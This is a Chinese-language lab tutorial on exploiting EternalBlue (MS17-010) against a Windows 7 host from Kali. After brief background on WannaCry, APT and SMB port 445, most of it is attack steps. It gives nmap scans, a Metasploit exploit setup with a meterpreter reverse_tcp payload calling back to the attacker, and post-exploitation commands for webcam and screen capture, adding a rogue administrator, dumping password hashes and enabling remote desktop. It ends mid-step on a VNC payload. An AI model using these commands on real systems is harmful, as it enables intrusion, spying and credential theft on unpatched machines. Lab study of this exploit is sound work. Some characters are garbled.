永恒之蓝实验（MS17010）
1.概念
永恒之蓝是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒。恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
2.什么是ART
APT(Advanced Persistent Threat):高级持续威胁，主要特点是利用手段高，攻击持续，高危害。 APT攻击的一般规律： 1)高度目的性 2)高度隐蔽性 3)高度危害性 4)目标实体化 5)极强的持续性 。一个APT是有一套隐匿和持续攻击的框架的，往往针对特定的实体由一人或多人策划（一般是多人）。
3.445端口作用
SMB(server message blick) 是windows协议族，用于文件和打印共享服务。
NBT(netbios over TCP/IP)使用137.138（UDP）和139（TCP来实现基于TCP/IP的netbiso网络互联）
在windows中，SMB服务除了基于NBT的实现，还有直接通过445端口实现。当windows（允许NBT）作为客户端来连接SMB服务器时，它会同时尝试连接139和445端口，如果445端口有响应，那么就发送RST包给139端口看看开连接，以445端口通信来继续，当445端口无响应时，才使用139端口。
4.实验过程
环境
kali攻击主机一台、window 7
工具：kali自带的Nmap及MSF攻击框架（metasploit）
namp重要常?参数含义
-sP ping 扫描（不进?端?扫描）
-P0 ?ping 扫描
-p 指定端?扫描
-sT TCP 全连接扫描
-sS SYN 半连接扫描
-sF FIN 扫描
-sN Null 扫描
-sX Xmas 扫描
-O 测探?标主机版本
-sV 显示服务的详细版本
-A 全?扫描
-oN 将扫描结果保存成txt 格式
-oX 将扫描结果保存成xml 格式
-T1,-T2,-T3,-T4,-T5 扫描速度
步骤
(1)主机发现—利用nmap扫描发现攻击 nmap -n -sS 192.168.6.0/24
? 进一步端口发现—指定端口扫描 nmap -n -p445 192.168.6.0/24 --open
? 漏洞发现—探测是否存在已知漏洞 nmap -O -sV 192.168.6.134 -script=vuln（win7ip）
(2)开启metaspolit: msfconsole
+++选择攻击模块====>use exploit/windows/smb/ms17_010_eternalblue
+++选择有效payload====>set payload windows/meterpreter/reverse_tcp （32位）
+++选择有效payload====> set payload windows/x64/meterpreter/reverse_tcp （64位）
+++设置本地攻击主机=====>set LHOST 192.168.6.128
+++设置远程目标主机=====>set RHOST 192.168.6.134
+++设置本地侦听接口====>set LPORT 5555
+++开始攻击====>run
+++攻击成功，获得回连！！
(3)全面控制
开启摄像头 webcam_stream
截取屏幕 screenshot
屏幕监控 run vnc （若对方电脑上有安全软件会不稳定或者失败）
建用户并添加到管理员组中，然后查看创建的用户权限
net user test test123 /add
net localgroup administrators test /add
进入对方 shell
下载文件 download filepath
上传文件 upload 本机path 对方path
获得密码 hashdump
开启3389远程桌面 run post/windows/manage/enable_rdp
kali 远程windows桌面 rdesktop -x test 192.168.88.134
- 乱码解决在靶机的命令行界面：执行命令 chcp 65001 切换编码字符，然后执行命令显示正常。
(4)监控屏幕
#用于屏幕监控 启动攻击exploit
1:set payload windows/x64/vncinject/bind_tcp